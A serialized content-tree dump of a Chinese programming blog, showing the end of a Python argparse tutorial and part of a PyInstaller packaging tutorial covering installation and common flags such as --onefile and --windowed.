parser.parse_args()\n",{"type":18,"tag":297,"props":29982,"children":29983},{"class":299,"line":4633},[29984],{"type":18,"tag":297,"props":29985,"children":29986},{"emptyLinePlaceholder":793},[29987],{"type":24,"value":796},{"type":18,"tag":297,"props":29989,"children":29990},{"class":299,"line":4641},[29991],{"type":18,"tag":297,"props":29992,"children":29993},{},[29994],{"type":24,"value":29995},"# 4. 使用解析后的参数\n",{"type":18,"tag":297,"props":29997,"children":29998},{"class":299,"line":4650},[29999],{"type":18,"tag":297,"props":30000,"children":30001},{},[30002],{"type":24,"value":30003},"print(f\"数字参数: {args.number}（类型：{type(args.number)}）\")\n",{"type":18,"tag":297,"props":30005,"children":30006},{"class":299,"line":4658},[30007],{"type":18,"tag":297,"props":30008,"children":30009},{},[30010],{"type":24,"value":30011},"print(f\"消息参数: {args.message}（类型：{type(args.message)}）\")\n",{"type":18,"tag":297,"props":30013,"children":30014},{"class":299,"line":4681},[30015],{"type":18,"tag":297,"props":30016,"children":30017},{"emptyLinePlaceholder":793},[30018],{"type":24,"value":796},{"type":18,"tag":297,"props":30020,"children":30021},{"class":299,"line":4703},[30022],{"type":18,"tag":297,"props":30023,"children":30024},{},[30025],{"type":24,"value":30026},"if args.verbose:\n",{"type":18,"tag":297,"props":30028,"children":30029},{"class":299,"line":4711},[30030],{"type":18,"tag":297,"props":30031,"children":30032},{},[30033],{"type":24,"value":30034},"    print(\"详细模式已开启：正在执行额外的日志输出...\")\n",{"type":18,"tag":27,"props":30036,"children":30038},{"id":30037},"运行与测试",[30039],{"type":24,"value":30037},{"type":18,"tag":34,"props":30041,"children":30042},{},[30043],{"type":24,"value":30044},"在终端中运行脚本，传递不同参数测试效果：",{"type":18,"tag":337,"props":30046,"children":30048},{"id":30047},"_1-基本用法传递必选参数-n",[30049,30051,30056],{"type":24,"value":30050},"1. 基本用法（传递必选参数 ",{"type":18,"tag":74,"props":30052,"children":30054},{"className":30053},[],[30055],{"type":24,"value":29802},{"type":24,"value":6182},{"type":18,"tag":287,"props":30058,"children":30060},{"className":289,"code":30059,"language":291,"meta":8,"style":8},"python demo.py -n 25\n",[30061],{"type":18,"tag":74,"props":30062,"children":30063},{"__ignoreMap":8},[30064],{"type":18,"tag":297,"props":30065,"children":30066},{"class":299,"line":300},[30067,30071,30076,30081],{"type":18,"tag":297,"props":30068,"children":30069},{"style":304},[30070],{"type":24,"value":28712},{"type":18,"tag":297,"props":30072,"children":30073},{"style":310},[30074],{"type":24,"value":30075}," demo.py",{"type":18,"tag":297,"props":30077,"children":30078},{"style":906},[30079],{"type":24,"value":30080}," -n",{"type":18,"tag":297,"props":30082,"children":30083},{"style":906},[30084],{"type":24,"value":30085}," 25\n",{"type":18,"tag":34,"props":30087,"children":30088},{},[30089],{"type":24,"value":30090},"输出：",{"type":18,"tag":287,"props":30092,"children":30096},{"className":30093,"code":30094,"language":30095,"meta":8,"style":8},"language-plaintext shiki shiki-themes github-dark","数字参数: 25（类型：\u003Cclass 'int'>）\n消息参数: hello（类型：\u003Cclass 'str'>）\n","plaintext",[30097],{"type":18,"tag":74,"props":30098,"children":30099},{"__ignoreMap":8},[30100,30108],{"type":18,"tag":297,"props":30101,"children":30102},{"class":299,"line":300},[30103],{"type":18,"tag":297,"props":30104,"children":30105},{},[30106],{"type":24,"value":30107},"数字参数: 25（类型：\u003Cclass 'int'>）\n",{"type":18,"tag":297,"props":30109,"children":30110},{"class":299,"line":657},[30111],{"type":18,"tag":297,"props":30112,"children":30113},{},[30114],{"type":24,"value":30115},"消息参数: hello（类型：\u003Cclass 'str'>）\n",{"type":18,"tag":337,"props":30117,"children":30119},{"id":30118},"_2-传递全部参数",[30120],{"type":24,"value":30121},"2. 传递全部参数",{"type":18,"tag":287,"props":30123,"children":30125},{"className":289,"code":30124,"language":291,"meta":8,"style":8},"python demo.py -n 30 -m \"argparse真好用\" -v\n",[30126],{"type":18,"tag":74,"props":30127,"children":30128},{"__ignoreMap":8},[30129],{"type":18,"tag":297,"props":30130,"children":30131},{"class":299,"line":300},[30132,30136,30140,30144,30149,30153,30158],{"type":18,"tag":297,"props":30133,"children":30134},{"style":304},[30135],{"type":24,"value":28712},{"type":18,"tag":297,"props":30137,"children":30138},{"style":310},[30139],{"type":24,"value":30075},{"type":18,"tag":297,"props":30141,"children":30142},{"style":906},[30143],{"type":24,"value":30080},{"type":18,"tag":297,"props":30145,"children":30146},{"style":906},[30147],{"type":24,"value":30148}," 30",{"type":18,"tag":297,"props":30150,"children":30151},{"style":906},[30152],{"type":24,"value":909},{"type":18,"tag":297,"props":30154,"children":30155},{"style":310},[30156],{"type":24,"value":30157}," \"argparse真好用\"",{"type":18,"tag":297,"props":30159,"children":30160},{"style":906},[30161],{"type":24,"value":30162}," -v\n",{"type":18,"tag":34,"props":30164,"children":30165},{},[30166],{"type":24,"value":30090},{"type":18,"tag":287,"props":30168,"children":30170},{"className":30093,"code":30169,"language":30095,"meta":8,"style":8},"数字参数: 30（类型：\u003Cclass 'int'>）\n消息参数: argparse真好用（类型：\u003Cclass 'str'>）\n详细模式已开启：正在执行额外的日志输出...\n",[30171],{"type":18,"tag":74,"props":30172,"children":30173},{"__ignoreMap":8},[30174,30182,30190],{"type":18,"tag":297,"props":30175,"children":30176},{"class":299,"line":300},[30177],{"type":18,"tag":297,"props":30178,"children":30179},{},[30180],{"type":24,"value":30181},"数字参数: 30（类型：\u003Cclass 'int'>）\n",{"type":18,"tag":297,"props":30183,"children":30184},{"class":299,"line":657},[30185],{"type":18,"tag":297,"props":30186,"children":30187},{},[30188],{"type":24,"value":30189},"消息参数: argparse真好用（类型：\u003Cclass 'str'>）\n",{"type":18,"tag":297,"props":30191,"children":30192},{"class":299,"line":662},[30193],{"type":18,"tag":297,"props":30194,"children":30195},{},[30196],{"type":24,"value":30197},"详细模式已开启：正在执行额外的日志输出...\n",{"type":18,"tag":337,"props":30199,"children":30201},{"id":30200},"_3-查看自动生成的帮助信息",[30202],{"type":24,"value":30203},"3. 查看自动生成的帮助信息",{"type":18,"tag":287,"props":30205,"children":30207},{"className":289,"code":30206,"language":291,"meta":8,"style":8},"python demo.py -h  # 或 --help\n",[30208],{"type":18,"tag":74,"props":30209,"children":30210},{"__ignoreMap":8},[30211],{"type":18,"tag":297,"props":30212,"children":30213},{"class":299,"line":300},[30214,30218,30222,30227],{"type":18,"tag":297,"props":30215,"children":30216},{"style":304},[30217],{"type":24,"value":28712},{"type":18,"tag":297,"props":30219,"children":30220},{"style":310},[30221],{"type":24,"value":30075},{"type":18,"tag":297,"props":30223,"children":30224},{"style":906},[30225],{"type":24,"value":30226}," -h",{"type":18,"tag":297,"props":30228,"children":30229},{"style":5380},[30230],{"type":24,"value":30231},"  # 或 --help\n",{"type":18,"tag":34,"props":30233,"children":30234},{},[30235],{"type":24,"value":30090},{"type":18,"tag":287,"props":30237,"children":30239},{"className":30093,"code":30238,"language":30095,"meta":8,"style":8},"usage: demo.py [-h] -n NUMBER [-m MESSAGE] [-v]\n\n这是一个argparse示例脚本，用于演示参数解析\n\noptions:\n  -h, --help            show this help message and exit\n  -n NUMBER, --number NUMBER\n                        必选数字参数（整数），例如年龄\n  -m MESSAGE, --message MESSAGE\n                        可选字符串参数（默认值：hello）\n  -v, --verbose         开启详细输出模式\n",[30240],{"type":18,"tag":74,"props":30241,"children":30242},{"__ignoreMap":8},[30243,30251,30258,30266,30273,30281,30289,30297,30305,30313,30321],{"type":18,"tag":297,"props":30244,"children":30245},{"class":299,"line":300},[30246],{"type":18,"tag":297,"props":30247,"children":30248},{},[30249],{"type":24,"value":30250},"usage: demo.py [-h] -n NUMBER [-m MESSAGE] [-v]\n",{"type":18,"tag":297,"props":30252,"children":30253},{"class":299,"line":657},[30254],{"type":18,"tag":297,"props":30255,"children":30256},{"emptyLinePlaceholder":793},[30257],{"type":24,"value":796},{"type":18,"tag":297,"props":30259,"children":30260},{"class":299,"line":662},[30261],{"type":18,"tag":297,"props":30262,"children":30263},{},[30264],{"type":24,"value":30265},"这是一个argparse示例脚本，用于演示参数解析\n",{"type":18,"tag":297,"props":30267,"children":30268},{"class":299,"line":799},[30269],{"type":18,"tag":297,"props":30270,"children":30271},{"emptyLinePlaceholder":793},[30272],{"type":24,"value":796},{"type":18,"tag":297,"props":30274,"children":30275},{"class":299,"line":808},[30276],{"type":18,"tag":297,"props":30277,"children":30278},{},[30279],{"type":24,"value":30280},"options:\n",{"type":18,"tag":297,"props":30282,"children":30283},{"class":299,"line":817},[30284],{"type":18,"tag":297,"props":30285,"children":30286},{},[30287],{"type":24,"value":30288},"  -h, --help            show this help message and exit\n",{"type":18,"tag":297,"props":30290,"children":30291},{"class":299,"line":826},[30292],{"type":18,"tag":297,"props":30293,"children":30294},{},[30295],{"type":24,"value":30296},"  -n NUMBER, --number NUMBER\n",{"type":18,"tag":297,"props":30298,"children":30299},{"class":299,"line":4524},[30300],{"type":18,"tag":297,"props":30301,"children":30302},{},[30303],{"type":24,"value":30304},"                        必选数字参数（整数），例如年龄\n",{"type":18,"tag":297,"props":30306,"children":30307},{"class":299,"line":4533},[30308],{"type":18,"tag":297,"props":30309,"children":30310},{},[30311],{"type":24,"value":30312},"  -m MESSAGE, --message MESSAGE\n",{"type":18,"tag":297,"props":30314,"children":30315},{"class":299,"line":4546},[30316],{"type":18,"tag":297,"props":30317,"children":30318},{},[30319],{"type":24,"value":30320},"                        可选字符串参数（默认值：hello）\n",{"type":18,"tag":297,"props":30322,"children":30323},{"class":299,"line":4555},[30324],{"type":18,"tag":297,"props":30325,"children":30326},{},[30327],{"type":24,"value":30328},"  -v, --verbose         开启详细输出模式\n",{"type":18,"tag":337,"props":30330,"children":30332},{"id":30331},"_4-错误情况缺少必选参数",[30333],{"type":24,"value":30334},"4. 错误情况（缺少必选参数）",{"type":18,"tag":287,"props":30336,"children":30338},{"className":289,"code":30337,"language":291,"meta":8,"style":8},"python demo.py -m \"测试\"\n",[30339],{"type":18,"tag":74,"props":30340,"children":30341},{"__ignoreMap":8},[30342],{"type":18,"tag":297,"props":30343,"children":30344},{"class":299,"line":300},[30345,30349,30353,30357],{"type":18,"tag":297,"props":30346,"children":30347},{"style":304},[30348],{"type":24,"value":28712},{"type":18,"tag":297,"props":30350,"children":30351},{"style":310},[30352],{"type":24,"value":30075},{"type":18,"tag":297,"props":30354,"children":30355},{"style":906},[30356],{"type":24,"value":909},{"type":18,"tag":297,"props":30358,"children":30359},{"style":310},[30360],{"type":24,"value":30361}," \"测试\"\n",{"type":18,"tag":34,"props":30363,"children":30364},{},[30365],{"type":24,"value":30366},"输出（自动提示错误）：",{"type":18,"tag":287,"props":30368,"children":30370},{"className":30093,"code":30369,"language":30095,"meta":8,"style":8},"error: the following arguments are required: -n\u002F--number\n",[30371],{"type":18,"tag":74,"props":30372,"children":30373},{"__ignoreMap":8},[30374],{"type":18,"tag":297,"props":30375,"children":30376},{"class":299,"line":300},[30377],{"type":18,"tag":297,"props":30378,"children":30379},{},[30380],{"type":24,"value":30369},{"type":18,"tag":27,"props":30382,"children":30384},{"id":30383},"核心参数说明add_argument-方法",[30385,30387,30392],{"type":24,"value":30386},"核心参数说明（",{"type":18,"tag":74,"props":30388,"children":30390},{"className":30389},[],[30391],{"type":24,"value":29752},{"type":24,"value":29754},{"type":18,"tag":431,"props":30394,"children":30395},{},[30396,30412],{"type":18,"tag":435,"props":30397,"children":30398},{},[30399],{"type":18,"tag":439,"props":30400,"children":30401},{},[30402,30407],{"type":18,"tag":443,"props":30403,"children":30404},{},[30405],{"type":24,"value":30406},"参数",{"type":18,"tag":443,"props":30408,"children":30409},{},[30410],{"type":24,"value":30411},"作用说明",{"type":18,"tag":459,"props":30413,"children":30414},{},[30415,30445,30483,30521,30546,30571,30602],{"type":18,"tag":439,"props":30416,"children":30417},{},[30418,30426],{"type":18,"tag":466,"props":30419,"children":30420},{},[30421],{"type":18,"tag":74,"props":30422,"children":30424},{"className":30423},[],[30425],{"type":24,"value":12133},{"type":18,"tag":466,"props":30427,"children":30428},{},[30429,30431,30436,30437,30443],{"type":24,"value":30430},"参数名，如 ",{"type":18,"tag":74,"props":30432,"children":30434},{"className":30433},[],[30435],{"type":24,"value":29802},{"type":24,"value":26222},{"type":18,"tag":74,"props":30438,"children":30440},{"className":30439},[],[30441],{"type":24,"value":30442},"--number",{"type":24,"value":30444},"（短选项 \u002F 长选项，推荐同时提供）",{"type":18,"tag":439,"props":30446,"children":30447},{},[30448,30456],{"type":18,"tag":466,"props":30449,"children":30450},{},[30451],{"type":18,"tag":74,"props":30452,"children":30454},{"className":30453},[],[30455],{"type":24,"value":12163},{"type":18,"tag":466,"props":30457,"children":30458},{},[30459,30461,30467,30468,30474,30475,30481],{"type":24,"value":30460},"参数类型（如 ",{"type":18,"tag":74,"props":30462,"children":30464},{"className":30463},[],[30465],{"type":24,"value":30466},"int",{"type":24,"value":1942},{"type":18,"tag":74,"props":30469,"children":30471},{"className":30470},[],[30472],{"type":24,"value":30473},"str",{"type":24,"value":1942},{"type":18,"tag":74,"props":30476,"children":30478},{"className":30477},[],[30479],{"type":24,"value":30480},"float",{"type":24,"value":30482},"），自动转换输入值",{"type":18,"tag":439,"props":30484,"children":30485},{},[30486,30495],{"type":18,"tag":466,"props":30487,"children":30488},{},[30489],{"type":18,"tag":74,"props":30490,"children":30492},{"className":30491},[],[30493],{"type":24,"value":30494},"required",{"type":18,"tag":466,"props":30496,"children":30497},{},[30498,30500,30506,30507,30513,30515,30520],{"type":24,"value":30499},"是否必选（",{"type":18,"tag":74,"props":30501,"children":30503},{"className":30502},[],[30504],{"type":24,"value":30505},"True",{"type":24,"value":5352},{"type":18,"tag":74,"props":30508,"children":30510},{"className":30509},[],[30511],{"type":24,"value":30512},"False",{"type":24,"value":30514},"，默认 ",{"type":18,"tag":74,"props":30516,"children":30518},{"className":30517},[],[30519],{"type":24,"value":30512},{"type":24,"value":6182},{"type":18,"tag":439,"props":30522,"children":30523},{},[30524,30533],{"type":18,"tag":466,"props":30525,"children":30526},{},[30527],{"type":18,"tag":74,"props":30528,"children":30530},{"className":30529},[],[30531],{"type":24,"value":30532},"default",{"type":18,"tag":466,"props":30534,"children":30535},{},[30536,30538,30544],{"type":24,"value":30537},"可选参数的默认值（",{"type":18,"tag":74,"props":30539,"children":30541},{"className":30540},[],[30542],{"type":24,"value":30543},"required=False",{"type":24,"value":30545}," 时有效）",{"type":18,"tag":439,"props":30547,"children":30548},{},[30549,30558],{"type":18,"tag":466,"props":30550,"children":30551},{},[30552],{"type":18,"tag":74,"props":30553,"children":30555},{"className":30554},[],[30556],{"type":24,"value":30557},"help",{"type":18,"tag":466,"props":30559,"children":30560},{},[30561,30563,30569],{"type":24,"value":30562},"参数描述（",{"type":18,"tag":74,"props":30564,"children":30566},{"className":30565},[],[30567],{"type":24,"value":30568},"-h",{"type":24,"value":30570}," 时显示）",{"type":18,"tag":439,"props":30572,"children":30573},{},[30574,30582],{"type":18,"tag":466,"props":30575,"children":30576},{},[30577],{"type":18,"tag":74,"props":30578,"children":30580},{"className":30579},[],[30581],{"type":24,"value":12109},{"type":18,"tag":466,"props":30583,"children":30584},{},[30585,30587,30593,30595,30600],{"type":24,"value":30586},"特殊动作，如 ",{"type":18,"tag":74,"props":30588,"children":30590},{"className":30589},[],[30591],{"type":24,"value":30592},"store_true",{"type":24,"value":30594}," 表示参数出现时赋值为 ",{"type":18,"tag":74,"props":30596,"children":30598},{"className":30597},[],[30599],{"type":24,"value":30505},{"type":24,"value":30601},"（用于标志参数）",{"type":18,"tag":439,"props":30603,"children":30604},{},[30605,30614],{"type":18,"tag":466,"props":30606,"children":30607},{},[30608],{"type":18,"tag":74,"props":30609,"children":30611},{"className":30610},[],[30612],{"type":24,"value":30613},"choices",{"type":18,"tag":466,"props":30615,"children":30616},{},[30617,30619,30625],{"type":24,"value":30618},"限制参数可选值（如 ",{"type":18,"tag":74,"props":30620,"children":30622},{"className":30621},[],[30623],{"type":24,"value":30624},"choices=[1,2,3]",{"type":24,"value":6182},{"type":18,"tag":27,"props":30627,"children":30628},{"id":15363},[30629],{"type":24,"value":15363},{"type":18,"tag":210,"props":30631,"children":30632},{},[30633,30649,30654],{"type":18,"tag":158,"props":30634,"children":30635},{},[30636,30641,30643],{"type":18,"tag":74,"props":30637,"children":30639},{"className":30638},[],[30640],{"type":24,"value":29695},{"type":24,"value":30642}," 简化了命令行参数的解析逻辑，无需手动处理 ",{"type":18,"tag":74,"props":30644,"children":30646},{"className":30645},[],[30647],{"type":24,"value":30648},"sys.argv",{"type":18,"tag":158,"props":30650,"children":30651},{},[30652],{"type":24,"value":30653},"支持自动类型转换、参数校验和帮助信息生成",{"type":18,"tag":158,"props":30655,"children":30656},{},[30657],{"type":24,"value":30658},"适合开发命令行工具、脚本等需要动态配置的场景",{"type":18,"tag":651,"props":30660,"children":30661},{},[30662],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":30664},[30665,30666,30667,30668,30670],{"id":29707,"depth":662,"text":29707},{"id":29781,"depth":662,"text":29781},{"id":30037,"depth":662,"text":30037},{"id":30383,"depth":662,"text":30669},"核心参数说明（add_argument() 方法）",{"id":15363,"depth":662,"text":15363},"content:blog:2026-03-01-argparse-guide.md","blog\u002F2026-03-01-argparse-guide.md","blog\u002F2026-03-01-argparse-guide",{"_path":30675,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":30676,"description":30677,"date":30678,"tags":30679,"body":30681,"_type":672,"_id":33331,"_source":674,"_file":33332,"_stem":33333,"_extension":677},"\u002Fblog\u002F2026-02-25-pyinstaller-guide","PyInstaller 打包教程","PyInstaller 完整教程，将Python脚本打包为独立exe，涵盖参数详解、spec文件配置、常见问题与解决方案。","2026-02-25",[28616,30680,2983],"打包",{"type":15,"children":30682,"toc":33306},[30683,30688,30694,30697,30709,30732,30737,30757,30762,30768,30771,30776,30803,30808,30833,30846,30852,30855,30861,30878,30883,30906,30929,30941,30957,30967,30989,31012,31017,31023,31047,31052,31080,31104,31113,31141,31147,31164,31169,31200,31220,31237,31242,31250,31282,31290,31321,31327,31337,31342,31374,31384,31389,31421,31448,31459,31513,31521,31553,31618,31626,31657,31709,31726,31737,31812,31819,31851,31900,31906,31916,31921,31948,31958,31963,31990,32000,32005,32032,32042,32047,32074,32084,32089,32116,32133,32138,32165,32171,32176,32196,32209,32448,32453,32472,32478,32483,32497,32502,32516,32521,32623,32629,32632,32638,32651,32678,32684,32689,32709,32834,32840,32844,32852,32878,32886,32918,32926,32932,32936,32951,32979,32987,32993,32996,33002,33042,33048,33100,33106,33114,33158,33166,33275,33283,33302],{"type":18,"tag":34,"props":30684,"children":30685},{},[30686],{"type":24,"value":30687},"PyInstaller 是一个非常实用的 Python 打包工具，能够将 Python 脚本打包成独立的可执行文件，无需用户安装 Python 解释器即可运行。本教程将详细介绍 PyInstaller 的使用方法和各种参数。",{"type":18,"tag":19,"props":30689,"children":30691},{"id":30690},"一安装-pyinstaller",[30692],{"type":24,"value":30693},"一、安装 PyInstaller",{"type":18,"tag":121,"props":30695,"children":30696},{},[],{"type":18,"tag":34,"props":30698,"children":30699},{},[30700,30702,30707],{"type":24,"value":30701},"首先需要安装 PyInstaller 包，使用 ",{"type":18,"tag":74,"props":30703,"children":30705},{"className":30704},[],[30706],{"type":24,"value":28691},{"type":24,"value":30708}," 命令即可：",{"type":18,"tag":287,"props":30710,"children":30712},{"className":289,"code":30711,"language":291,"meta":8,"style":8},"pip install pyinstaller\n",[30713],{"type":18,"tag":74,"props":30714,"children":30715},{"__ignoreMap":8},[30716],{"type":18,"tag":297,"props":30717,"children":30718},{"class":299,"line":300},[30719,30723,30727],{"type":18,"tag":297,"props":30720,"children":30721},{"style":304},[30722],{"type":24,"value":28691},{"type":18,"tag":297,"props":30724,"children":30725},{"style":310},[30726],{"type":24,"value":28696},{"type":18,"tag":297,"props":30728,"children":30729},{"style":310},[30730],{"type":24,"value":30731}," pyinstaller\n",{"type":18,"tag":34,"props":30733,"children":30734},{},[30735],{"type":24,"value":30736},"验证安装是否成功：",{"type":18,"tag":287,"props":30738,"children":30740},{"className":289,"code":30739,"language":291,"meta":8,"style":8},"pyinstaller --version\n",[30741],{"type":18,"tag":74,"props":30742,"children":30743},{"__ignoreMap":8},[30744],{"type":18,"tag":297,"props":30745,"children":30746},{"class":299,"line":300},[30747,30752],{"type":18,"tag":297,"props":30748,"children":30749},{"style":304},[30750],{"type":24,"value":30751},"pyinstaller",{"type":18,"tag":297,"props":30753,"children":30754},{"style":906},[30755],{"type":24,"value":30756}," --version\n",{"type":18,"tag":34,"props":30758,"children":30759},{},[30760],{"type":24,"value":30761},"如果成功安装，会显示当前 PyInstaller 的版本号。",{"type":18,"tag":19,"props":30763,"children":30765},{"id":30764},"二基本使用方法",[30766],{"type":24,"value":30767},"二、基本使用方法",{"type":18,"tag":121,"props":30769,"children":30770},{},[],{"type":18,"tag":34,"props":30772,"children":30773},{},[30774],{"type":24,"value":30775},"最基本的打包命令非常简单，在命令行中进入脚本所在目录，执行：",{"type":18,"tag":287,"props":30777,"children":30779},{"className":289,"code":30778,"language":291,"meta":8,"style":8},"# 此处的your_script.py替换为要打包的脚本文件\npyinstaller your_script.py\n",[30780],{"type":18,"tag":74,"props":30781,"children":30782},{"__ignoreMap":8},[30783,30791],{"type":18,"tag":297,"props":30784,"children":30785},{"class":299,"line":300},[30786],{"type":18,"tag":297,"props":30787,"children":30788},{"style":5380},[30789],{"type":24,"value":30790},"# 此处的your_script.py替换为要打包的脚本文件\n",{"type":18,"tag":297,"props":30792,"children":30793},{"class":299,"line":657},[30794,30798],{"type":18,"tag":297,"props":30795,"children":30796},{"style":304},[30797],{"type":24,"value":30751},{"type":18,"tag":297,"props":30799,"children":30800},{"style":310},[30801],{"type":24,"value":30802}," your_script.py\n",{"type":18,"tag":34,"props":30804,"children":30805},{},[30806],{"type":24,"value":30807},"这个命令会在当前目录生成两个文件夹：",{"type":18,"tag":210,"props":30809,"children":30810},{},[30811,30822],{"type":18,"tag":158,"props":30812,"children":30813},{},[30814,30820],{"type":18,"tag":74,"props":30815,"children":30817},{"className":30816},[],[30818],{"type":24,"value":30819},"dist",{"type":24,"value":30821},"：包含可执行文件和相关依赖",{"type":18,"tag":158,"props":30823,"children":30824},{},[30825,30831],{"type":18,"tag":74,"props":30826,"children":30828},{"className":30827},[],[30829],{"type":24,"value":30830},"build",{"type":24,"value":30832},"：包含打包过程中的临时文件",{"type":18,"tag":34,"props":30834,"children":30835},{},[30836,30838,30844],{"type":24,"value":30837},"同时会生成一个 ",{"type":18,"tag":74,"props":30839,"children":30841},{"className":30840},[],[30842],{"type":24,"value":30843},".spec",{"type":24,"value":30845}," 文件，用于高级打包配置。",{"type":18,"tag":19,"props":30847,"children":30849},{"id":30848},"三常用参数详解",[30850],{"type":24,"value":30851},"三、常用参数详解",{"type":18,"tag":121,"props":30853,"children":30854},{},[],{"type":18,"tag":27,"props":30856,"children":30858},{"id":30857},"_1-输出文件类型控制",[30859],{"type":24,"value":30860},"1. 输出文件类型控制",{"type":18,"tag":337,"props":30862,"children":30864},{"id":30863},"f-onefile",[30865,30871,30872],{"type":18,"tag":74,"props":30866,"children":30868},{"className":30867},[],[30869],{"type":24,"value":30870},"-F",{"type":24,"value":11724},{"type":18,"tag":74,"props":30873,"children":30875},{"className":30874},[],[30876],{"type":24,"value":30877},"--onefile",{"type":18,"tag":34,"props":30879,"children":30880},{},[30881],{"type":24,"value":30882},"将所有内容打包成单个可执行文件。示例如下：",{"type":18,"tag":287,"props":30884,"children":30886},{"className":289,"code":30885,"language":291,"meta":8,"style":8},"pyinstaller -F your_script.py\n",[30887],{"type":18,"tag":74,"props":30888,"children":30889},{"__ignoreMap":8},[30890],{"type":18,"tag":297,"props":30891,"children":30892},{"class":299,"line":300},[30893,30897,30902],{"type":18,"tag":297,"props":30894,"children":30895},{"style":304},[30896],{"type":24,"value":30751},{"type":18,"tag":297,"props":30898,"children":30899},{"style":906},[30900],{"type":24,"value":30901}," -F",{"type":18,"tag":297,"props":30903,"children":30904},{"style":310},[30905],{"type":24,"value":30802},{"type":18,"tag":287,"props":30907,"children":30909},{"className":289,"code":30908,"language":291,"meta":8,"style":8},"pyinstaller --onefile your_script.py\n",[30910],{"type":18,"tag":74,"props":30911,"children":30912},{"__ignoreMap":8},[30913],{"type":18,"tag":297,"props":30914,"children":30915},{"class":299,"line":300},[30916,30920,30925],{"type":18,"tag":297,"props":30917,"children":30918},{"style":304},[30919],{"type":24,"value":30751},{"type":18,"tag":297,"props":30921,"children":30922},{"style":906},[30923],{"type":24,"value":30924}," --onefile",{"type":18,"tag":297,"props":30926,"children":30927},{"style":310},[30928],{"type":24,"value":30802},{"type":18,"tag":34,"props":30930,"children":30931},{},[30932,30934,30939],{"type":24,"value":30933},"上述两条指令作用相同。执行后，",{"type":18,"tag":74,"props":30935,"children":30937},{"className":30936},[],[30938],{"type":24,"value":30819},{"type":24,"value":30940}," 目录下只会生成一个可执行文件。",{"type":18,"tag":337,"props":30942,"children":30944},{"id":30943},"d-onedir",[30945,30950,30951],{"type":18,"tag":74,"props":30946,"children":30948},{"className":30947},[],[30949],{"type":24,"value":26747},{"type":24,"value":11724},{"type":18,"tag":74,"props":30952,"children":30954},{"className":30953},[],[30955],{"type":24,"value":30956},"--onedir",{"type":18,"tag":34,"props":30958,"children":30959},{},[30960,30965],{"type":18,"tag":105,"props":30961,"children":30962},{},[30963],{"type":24,"value":30964},"默认参数",{"type":24,"value":30966},"，将程序打包成一个目录（包含可执行文件和相关依赖文件）。示例如下：",{"type":18,"tag":287,"props":30968,"children":30970},{"className":289,"code":30969,"language":291,"meta":8,"style":8},"pyinstaller -D your_script.py\n",[30971],{"type":18,"tag":74,"props":30972,"children":30973},{"__ignoreMap":8},[30974],{"type":18,"tag":297,"props":30975,"children":30976},{"class":299,"line":300},[30977,30981,30985],{"type":18,"tag":297,"props":30978,"children":30979},{"style":304},[30980],{"type":24,"value":30751},{"type":18,"tag":297,"props":30982,"children":30983},{"style":906},[30984],{"type":24,"value":28290},{"type":18,"tag":297,"props":30986,"children":30987},{"style":310},[30988],{"type":24,"value":30802},{"type":18,"tag":287,"props":30990,"children":30992},{"className":289,"code":30991,"language":291,"meta":8,"style":8},"pyinstaller --onedir your_script.py\n",[30993],{"type":18,"tag":74,"props":30994,"children":30995},{"__ignoreMap":8},[30996],{"type":18,"tag":297,"props":30997,"children":30998},{"class":299,"line":300},[30999,31003,31008],{"type":18,"tag":297,"props":31000,"children":31001},{"style":304},[31002],{"type":24,"value":30751},{"type":18,"tag":297,"props":31004,"children":31005},{"style":906},[31006],{"type":24,"value":31007}," --onedir",{"type":18,"tag":297,"props":31009,"children":31010},{"style":310},[31011],{"type":24,"value":30802},{"type":18,"tag":34,"props":31013,"children":31014},{},[31015],{"type":24,"value":31016},"上述两条指令作用相同。",{"type":18,"tag":27,"props":31018,"children":31020},{"id":31019},"_2-窗口设置",[31021],{"type":24,"value":31022},"2. 窗口设置",{"type":18,"tag":337,"props":31024,"children":31026},{"id":31025},"w-windowed-noconsole",[31027,31033,31034,31040,31041],{"type":18,"tag":74,"props":31028,"children":31030},{"className":31029},[],[31031],{"type":24,"value":31032},"-w",{"type":24,"value":11724},{"type":18,"tag":74,"props":31035,"children":31037},{"className":31036},[],[31038],{"type":24,"value":31039},"--windowed",{"type":24,"value":11724},{"type":18,"tag":74,"props":31042,"children":31044},{"className":31043},[],[31045],{"type":24,"value":31046},"--noconsole",{"type":18,"tag":34,"props":31048,"children":31049},{},[31050],{"type":24,"value":31051},"打包成窗口程序，不显示控制台窗口（适用于 GUI 程序）。示例如下（Tkinter 程序）：",{"type":18,"tag":287,"props":31053,"children":31055},{"className":289,"code":31054,"language":291,"meta":8,"style":8},"pyinstaller -w -F your_gui_app.py\n",[31056],{"type":18,"tag":74,"props":31057,"children":31058},{"__ignoreMap":8},[31059],{"type":18,"tag":297,"props":31060,"children":31061},{"class":299,"line":300},[31062,31066,31071,31075],{"type":18,"tag":297,"props":31063,"children":31064},{"style":304},[31065],{"type":24,"value":30751},{"type":18,"tag":297,"props":31067,"children":31068},{"style":906},[31069],{"type":24,"value":31070}," -w",{"type":18,"tag":297,"props":31072,"children":31073},{"style":906},[31074],{"type":24,"value":30901},{"type":18,"tag":297,"props":31076,"children":31077},{"style":310},[31078],{"type":24,"value":31079}," your_gui_app.py\n",{"type":18,"tag":337,"props":31081,"children":31083},{"id":31082},"c-console-nowindowed",[31084,31090,31091,31097,31098],{"type":18,"tag":74,"props":31085,"children":31087},{"className":31086},[],[31088],{"type":24,"value":31089},"-c",{"type":24,"value":11724},{"type":18,"tag":74,"props":31092,"children":31094},{"className":31093},[],[31095],{"type":24,"value":31096},"--console",{"type":24,"value":11724},{"type":18,"tag":74,"props":31099,"children":31101},{"className":31100},[],[31102],{"type":24,"value":31103},"--nowindowed",{"type":18,"tag":34,"props":31105,"children":31106},{},[31107,31111],{"type":18,"tag":105,"props":31108,"children":31109},{},[31110],{"type":24,"value":30964},{"type":24,"value":31112},"，显示控制台窗口（适用于命令行程序）。示例如下：",{"type":18,"tag":287,"props":31114,"children":31116},{"className":289,"code":31115,"language":291,"meta":8,"style":8},"pyinstaller -c -F your_cli_tool.py\n",[31117],{"type":18,"tag":74,"props":31118,"children":31119},{"__ignoreMap":8},[31120],{"type":18,"tag":297,"props":31121,"children":31122},{"class":299,"line":300},[31123,31127,31132,31136],{"type":18,"tag":297,"props":31124,"children":31125},{"style":304},[31126],{"type":24,"value":30751},{"type":18,"tag":297,"props":31128,"children":31129},{"style":906},[31130],{"type":24,"value":31131}," 